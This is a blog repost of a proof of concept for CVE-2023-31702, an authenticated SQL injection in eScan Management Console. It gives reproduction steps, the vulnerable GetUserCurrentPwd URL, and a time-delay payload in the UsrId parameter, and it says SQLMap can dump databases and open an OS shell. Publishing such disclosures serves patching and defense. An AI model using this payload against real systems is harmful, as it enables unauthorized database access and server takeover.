Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863542147

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)
# Date: 16/05/2023
# Exploit Author: Sahil Ojha
# Vendor Homepage: https://www.escanav.com
# Software Link: https://cl.escanav.com/ewconsole.dll
# Version: 14.0.1400.2281
# Tested on: Windows
# CVE : CVE-2023-31702

*Step of Reproduction/Proof of concept(POC)*

1. Login into the escan management console with a valid username and
password as root user.
2. Navigate to URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=4176
3. Inject the payload into the UsrId parameter to confirm the SQL
injection as shown below:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR
DELAY '0:0:5'--&cnt=4176
4. The time delay of 5 seconds confirmed that "UsrId" parameter was
vulnerable to SQL Injection. Furthermore, it was also possible to dump
all the databases and inject OS shell directly into the MS SQL Server
using SQLMap tool.